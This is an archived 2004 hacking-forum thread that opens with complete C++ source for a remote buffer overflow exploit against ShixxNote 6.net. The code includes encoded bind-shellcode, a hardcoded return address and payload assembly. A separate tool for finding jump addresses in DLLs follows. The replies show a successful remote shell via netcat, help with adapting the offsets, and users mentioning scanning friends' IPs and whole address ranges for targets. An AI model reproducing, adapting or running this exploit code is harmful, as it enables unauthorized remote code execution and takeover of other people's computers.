hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

101
CODE

/*

ShixxNote 6.net buffer overflow exploit v0.1
Public exploit overflows only Win2K systems, else crashs.
Exploit code by class101 [at] DFind.kd-team.com
Bind a shellcode to the port 101.

Thanx to Luigi Auriemma(aluigi@altervista.org) for the bug discovery
Thanx to HDMoore and Metasploit.com for their kickass ASM work.

Why Win2k only?
After some days of debugging on it , I finally figured out how to exploit this
hole, this public overflow method works only on Win2k, using the
JMP EBX from comdlg32.dll from Win2k SP4 english.
Because on WinXP , the register EBX points to a NULL address, this is not exploitable
even if you update the JMP EBX, not exploitable VIA THIS WAY on XP I mean OK!.

How do I did then on Win2k?
I overwritte EIP with a JMP EBX, EBX is a perfect register because it points directly
to my buffer, but problem, it points 4 bytes only before EIP, quite short...
But enough to say him to jump ~80 bytes higher.
Now i have enough space to adjust my shellcode to ESI and to finally jump to it...
That's why on WinXP (and maybe others , havent tested) this doesnt works because EBX isnt
available.
Not happy? code yours or get a pvt version;p

How do I update to Win2k SP1 Dutch for example ?
Grab a JMP EBX address in comdlg32.dll from this OS and update the code.

Take a look at www.KD-Team.com, really nice peaces of code to find. Good job DiabloHorn;)
Take a look at www.GovernmentSecurity.org, good public place if you ignore all lame threads ^^ and all
retarded, without to name them to not add credits to their stupidity....
Greets cp, and sorry jester ....

*/

#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")

//BIND shellcode port 101, XORed 0x88, thanx HDMoore.

char scode[] =
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";

/*

//Execute regedit.exe, XORed 0x88, hardcoded Win2k SP4 English

char scode2[] = "\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xDD\x01\x6D\x09\x64\xC4\x88\x88\x88\xDB\x05\xF5\x3C\x4E\xCD\x7C\xFA\x4E\xCD"
"\x7D\xED\x4E\xCD\x7E\xEF\x4E\xCD\x7F\xED\x4E\xCD\x70\xEC\x4E\xCD\x71\xE1\x4E\xCD"
"\x72\xFC\x4E\xCD\x73\xA6\x4E\xCD\x74\xED\x4E\xCD\x75\xF0\x4E\xCD\x76\xED\x4E\xCD"
"\x77\x88\xE0\x8D\x88\x88\x88\x05\xCD\x7C\xD8\x30\xB7\xC8\xD0\xF4\x77\x58\xE0\x89"
"\x88\x88\x88\x30\xF5\x86\xD0\xF4\x77\x58\x68\x61\x63\x6B\x90";

*/

static char payload[5000];

char jmpebxw2k[]="\x79\x3c\xb6\x76"; //JMP EBX - comdlg32.dll - Win2k SP4 English

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
{
ver();
if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
int ip=htonl(inet_addr(argv[1])), sz, port, sizev, sizew, sizex, sizey, sizez, v, w, x, y, z;
if (argc==3){port=atoi(argv[2]);}
else port=2000;
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
 case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
 case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
 default:
 if(FD_ISSET(s,&mask))
 {
  cout<<"[+] connected, constructing the payload..."<<endl;
  Sleep(1000);
  sizev=5;
  sizew=88;
  sizey=800-sizeof(scode);
  sizex=5;
  sizez=20;
  sz=sizev+sizew+sizex+sizez+sizeof(scode)+sizey;
  memset(payload,0,sizeof(payload));
  strcat(payload,"~~");
  for (v=0;v<sizev;v++){strcat(payload,"\x61");}
  strcat(payload,"\x66\x8b\xf3");
  strcat(payload,"\x66\x83\xc6\x09");
  strcat(payload,"\xff\xe6");
  for (w=0;w<sizew;w++){strcat(payload,"\x61");}
  strcat(payload,"\xeb");
  strcat(payload,"\x9d\x61\x61");
  strcat(payload,jmpebxw2k);
  for (x=0;x<sizex;x++){strcat(payload,"\x90");}  
  strcat(payload,scode);
  for (y=0;y<sizey;y++){strcat(payload,"\x61");}  
  for (z=0;z<sizez;z++){strcat(payload,"~");}  
     if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
  cout<<"[+] size of payload: "<<sz<<endl;  
  cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
  return 0;
 }
}
closesocket(s);
WSACleanup();
return 0;
}


void usage(char* us)
{  
cout<<"USAGE: 101_shixx.exe Ip Port\n"<<endl;
cout<<"NOTE:                         "<<endl;
cout<<"      The port 2000 is default if no port specified."<<endl;
cout<<"      The exploit bind a shellcode to the port 101."<<endl;
cout<<"      Public version - Win2k systems only"<<endl;
cout<<"      Update the JMP address for another SP/Language"<<endl;
return;
}

void ver()
{
cout<<endl;
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]===="<<endl;
cout<<"        =======ShixxNote 6.net, Remote Buffer Overflow Exploit======="<<endl;
cout<<"        =====coded by class101===========[DFind.kd-team.com 2004]===="<<endl;
cout<<"        ============================================================="<<endl;
cout<<"                                                                   "<<endl;
}



binary + code on my site, bye.
[eXPhase
Thnx installed ShixxNOTE 6.net just on my system. Gonna try it right away.
crackie
first i wanna say THX 4 this gonna test it out smile.gif
and second i want to ask wich port i have to scan for.

best regards crackie
the
nice work thx a lot dude
greetz
101

I havent tested so on NT4, 2003, Me, maybe on thos if you update the jump to ebx it works, I let you try , I just know it works perfectly on win2000 and not on XP.
BuzzDee
hmm nice work. but how can u achieve the jump about 80 bytes higher? is it like
mov eax,[esp+0x<number of bytes to jump>] ?
i wonder how u only need 4 bytes ^^

btw do u know any methods how to jmp to ur shellcode if no register points to a "good" area? i mean i read about SEH but that isn't possible here or is it? coz i had the same problem on my win xp ger sp1 wink.gif

greetz


[edit]
btw: who needs an other offset for the jmp ebx and wants to try around a bit - here is findjmp. it looks for jmps and calls which u can use (or not ;P )

CODE
/*
Findjmp.c
written by Ryan Permeh - ryan@eeye.com - Summarily modified by I2S-LaB.com
http://www.eeye.com

This finds useful jump points in a dll.  Once you overflow a buffer, by
looking in the various registers, it is likely that you will find a
reference to your code.  This program will find addresses suitible to
overwrite eip that will return to your code.  

It should be easy to modify this to search for other good jump points,
or specific code patterns within a dll.

It currently supports looking for:
  1. jmp reg

  2. call reg

  3. push reg
     ret
All three options result in the same thing, EIP being set to reg.

It also supports the following registers:
 EAX
 EBX
 ECX
 EDX
 ESI
 EDI
 ESP
 EBP
*/

#include <Windows.h>
#include <stdio.h>

void usage();
DWORD GetRegNum( char *reg );
void findjmp( char *dll, char *reg );

//This finds useful jump points in a dll.  Once you overflow a buffer, by
//looking in the various registers, it is likely that you will find a
//reference to your code.  This program will find addresses of suitible
//addresses of eip that will return to your code.  

int main( int argc, char **argv )
{

if( argc <= 2 )
 usage();

else
{
 char dll[512], //holder for the dll to look in
 reg[512]; // holder for the register

 strncpy( dll, argv[1], 512 );
 strncpy( reg, argv[2], 512 );
 findjmp( dll, reg );
}
}

//This prints the usage information.  

void usage()
{
printf("\nFindJmp usage\nFindJmp DLL registre\nEx: findjmp KERNEL32.DLL esp"\
    "\nCurrently supported registre are: EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n" );
}

//findjmp is the workhorse.  it loads the requested dll, and searches for
//the specific patterns for jmp reg, push reg ret, and call reg

void findjmp( char *dll,char *reg )
{

BYTE jmppat[8][2]={  { 0xFF, 0xE0 }, { 0xFF, 0xE3 }, { 0xFF, 0xE1 }, { 0xFF, 0xE2 },
      { 0xFF, 0xE6 }, { 0xFF, 0xE7 }, { 0xFF, 0xE4 }, { 0xFF, 0xE5 } }; // patterns for jmp ops

BYTE callpat[8][2]={ { 0xFF, 0xD0 }, { 0xFF, 0xD3 }, { 0xFF, 0xD1 }, { 0xFF, 0xD2},
      { 0xFF, 0xD6 }, { 0xFF, 0xD7 }, { 0xFF, 0xD4 }, { 0xFF, 0xD5 } }; // patterns for call ops

BYTE pushretpat[8][2]={ { 0x50, 0xC3 }, { 0x53, 0xC3 }, { 0x51, 0xC3 }, { 0x52, 0xC3 },
      { 0x56, 0xC3 }, { 0x57, 0xC3 }, { 0x54, 0xC3 }, { 0x55, 0xC3 } }; // patterns for pushret ops


HMODULE loadedDLL; //base pointer for the loaded DLL

BYTE *curpos; //current position within the  DLL

DWORD regnum=GetRegNum(reg); // decimal representation of passed register

DWORD numaddr=0; //accumulator for addresses

if( regnum == -1 ) //check if register is useable
{                //it didn't load, time to bail
 printf( "There was a problem understanding the register.\n"\
  "Please check that it isa correct IA32 register name\n"\
  "Currently supported are:\n "\
  "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\
  );

 exit(-1);
}

if( (loadedDLL=LoadLibraryA(dll)) == NULL)  // check if DLL loaded correctly
{                 //it didn't load, time to bail
 printf( "There was a problem Loading the requested DLL.\n"\
   "Please check that it is in your path and readable\n" );
 exit(-1);
}
else
{
 printf( "\nScanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it
 curpos=(BYTE*)loadedDLL; //set curpos at start of DLL

 __try
 {
  while(1)
  {
   if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match
   {
    printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
    numaddr++;
   }

   else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match

   {
    printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match
    numaddr++;
   }

   else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match
   {
    printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match
    numaddr++;
   }
   curpos++;
  }
 }
 __except(1)
 {
  printf( "Finished Scanning %s for code useable with the %s register\n", dll, reg );
  printf( "Found %d usable addresses\n", numaddr );
 }
}

}


DWORD GetRegNum( char *reg )
{
DWORD ret=-1;
if( !stricmp( reg, "eax") )
{
 ret=0;
}
else if( !stricmp( reg, "ebx") )
{
 ret=1;
}
else if( !stricmp( reg, "ecx") )
{
 ret=2;
}
else if( !stricmp( reg, "edx") )
{
 ret=3;
}
else if( !stricmp( reg, "esi") )
{
 ret=4;
}
else if( !stricmp( reg, "edi") )
{
 ret=5;
}
else if( !stricmp( reg, "esp") )
{
 ret=6;
}
else if( !stricmp( reg, "ebp") )
{
 ret=7;
}

return ret; //return our decimal register number
}
101
QUOTE(BuzzDee @ Oct 22 2004, 03:54 PM)
hmm nice work. but how can u achieve the jump about 80 bytes higher? is it like 
mov eax,[esp+0x<number of bytes to jump>] ? 
i wonder how u only need 4 bytes ^^

btw do u know any methods how to jmp to ur shellcode if no register points to a "good" area? i mean i read about SEH but that isn't possible here or is it? coz i had the same problem on my win xp ger sp1 wink.gif

greetz
*



where EBX points,

CODE

strcat(payload,"\xeb");
strcat(payload,"\x9d\x61\x61"); //jumpback


jump higher still in my payload here

CODE

strcat(payload,"\x66\x8b\xf3");  // mov esi, ebx
strcat(payload,"\x66\x83\xc6\x09"); //add esi, 9
strcat(payload,"\xff\xe6");  // jmp esi


and boom smile.gif

if the register isnt into the payload, maybe its still possible to do something with the 4 bytes available at EIP...
BuzzDee
CODE
strcat(payload,"\xeb");
strcat(payload,"\x9d\x61\x61"); //jumpback


so these are the four bytes which make ur jump. is this asm code encoded to hex? if yes, whats the asm code u used? ^^

maybe i understand something wrong but the jumps weren't really clear to me, yet...
lets say i want to jump to a 4 byte lower adress. this would be here in asm:
mov ebx,[ebx-0x4]
or not? (it puts an adress into ebx which is four byte lower than ebx now...)

and if its right how do u get to hex code? ^^ sry question sounds quite dumb but i didn't deal with that so far =)
101

replace \xEB by \xCC (a breakpoint) and debug it in OllyDbg, you will see what I mean wink.gif
BuzzDee
errr dunno why but loading it into olly is kinda strange. the program doesnt start when i do f9. i mean it starts but i don't see the shixxnote window nor port 2000 is opened :S
Nikscap
Hum can't connect to bindshell

explain
BuzzDee
CODE
Hum can't connect to bindshell

explain


then ur shellcode didnt get executed... maybe u use another os? if so, read what 101 wrote wink.gif

->

QUOTE
How do I update to Win2k SP1 Dutch for example ?
Grab a JMP EBX address in comdlg32.dll from this OS and update the code.
XRaVeN
nice work thx a lot dude
greetz
phaeton
do you guys also get no banner reply on port 2000 if you run it locally?

just tryin to filter out whats runnin shixxnote and what isnt wink.gif
[eXPhase
QUOTE(phaeton @ Oct 23 2004, 02:11 AM)
do you guys also get no banner reply on port 2000 if you run it locally?

just tryin to filter out whats runnin shixxnote and what isnt wink.gif
*



I'll get a banner smile.gif

CODE

***.***.***.**
Responds with ICMP unreachable: No
TCP ports: 2000


TCP 2000:
[From Server : MESSAGE RECEIVED]
fulsik
if i was to scan my friends ips they are running this, i should scan their ips for port 2000 yes then check it with the sl.exe and how should it turn out?

CODE
***.***.***.**
Responds with ICMP unreachable: No
TCP ports: 2000


TCP 2000:
[From Server : MESSAGE RECEIVED]


so it should say 'message recieved' ?

also

how do i please compile this?
[eXPhase
QUOTE(fulsik @ Oct 23 2004, 01:32 PM)
if i was to scan my friends ips they are running this, i should scan their ips for port 2000 yes then check it with the sl.exe and how should it turn out?

CODE
***.***.***.**
Responds with ICMP unreachable: No
TCP ports: 2000


TCP 2000:
[From Server : MESSAGE RECEIVED]


so it should say 'message recieved' ?

also

how do i please compile this?
*



If you get this banner, you shoudl try the exploit yes.

Check out 101's site, there is also a compiled version for download.

He is delivering some nice piece of work.

But about the exploit, it crashes local so I guess it works. Haven't found any right banner yet. Just scanning sum class C ranges. Wanna see if it really works.
101
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.

and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...

bye
SkitZZ
QUOTE
D:\>101_shixx.exe xxx.xxx.xxx.xxx 2000


        ===================================================[v0.1]====
        =======ShixxNote 6.net, Remote Buffer Overflow Exploit=======
        =====coded by class101===========[DFind.kd-team.com 2004]====
        =============================================================

[+] connected, constructing the payload...
[+] size of payload: 918
[+] payload send, connect the port 101 to get a shell.

D:\>nc -v -n xxx.xxx.xxx.xxx 101
(UNKNOWN) [xxx.xxx.xxx.xxx] 101 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:\Program Files\ShixxNOTE>

nice piece of work 101 works like a charm tongue.gif

SkitZZ

[eXPhase
QUOTE(101 @ Oct 23 2004, 03:06 PM)
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.

and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...

bye
*


I'm running WinXP here so it crashes indeed. Just wanna see if I get a shell on a remote host. I try this with every exploit smile.gif
fulsik
SkitZZ when u do bnner grabbing what did you get?
asd10
QUOTE(101 @ Oct 23 2004, 03:06 PM)
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.

and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...

bye
*



yo class101 (pnw team), maybe you can share with us the pvt exploit... tongue.gif
[N0N4M3]
Good sploit.
exellent.
Thank you man.
Tagatown
you can post this exploit ? tongue.gif
Tropek
nice work , thx
sponge123
i downloaded it from the official webiste... tested on win2k english sp4... not working for me... it only crashes shixxnote...

someone knows the reasons?
funy
Read
QUOTE
You grab shixxnote 6.net from my site or the official and you test on a win2k sp4 english (you should update the jmp address if its on another SP or another language) you'll see it works perfectly. Tested working by me and some friends that's all.

and if it's still crash on your win2k, you didnt added correctly the jmp address and I cant do more for you ...

bye


QUOTE
How do I update to Win2k SP1 Dutch for example ?
Grab a JMP EBX address in comdlg32.dll from this OS and update the code.



If you'dt update the code for win2k sp4 only crash and no shell .
101
QUOTE(sponge123 @ Oct 24 2004, 10:58 PM)
i downloaded it from the official webiste... tested on win2k english sp4... not working for me... it only crashes shixxnote...

someone knows the reasons?
*



cos you are too noob to make it working , just forget it, bye.
Tagatown
The exploit work ok

test *.*.*.* 2000


===================================================[v0.1]====
=======ShixxNote 6.net, Remote Buffer Overflow Exploit=======
=====coded by class101===========[DFind.kd-team.com 2004]====
=============================================================

[+] connected, constructing the payload...
[+] size of payload: 918
[+] payload send, connect the port 101 to get a shell.

But i have not shell


nc -v -n *.*.*.* 101
(UNKNOWN) [*.*.*.*] 101 (?): connection refused

i you have a good scanner for ShixxNote 6.net wink.gif
101
QUOTE(SkitZZ @ Oct 24 2004, 03:07 AM)
QUOTE
D:\>101_shixx.exe xxx.xxx.xxx.xxx 2000


        ===================================================[v0.1]====
        =======ShixxNote 6.net, Remote Buffer Overflow Exploit=======
        =====coded by class101===========[DFind.kd-team.com 2004]====
        =============================================================

[+] connected, constructing the payload...
[+] size of payload: 918
[+] payload send, connect the port 101 to get a shell.

D:\>nc -v -n xxx.xxx.xxx.xxx 101
(UNKNOWN) [xxx.xxx.xxx.xxx] 101 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:\Program Files\ShixxNOTE>

nice piece of work 101 works like a charm tongue.gif

SkitZZ
*



I think SkitZZ didnt need an huge skill to make it working, like me an my friends, so I'll no more reply in the thread cos it start to be boring how to scan , which port to scan, doesnt works , etc ... bye...
SkitZZ
what me huge skills yeah right thanks tongue.gif


SkitZZ
hellraiza
first : nice exploit!
second: I inserted the exploit and got an output of netcat with open but theres no shell sad.gif
I tested it on win2k an xp

help pls


This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.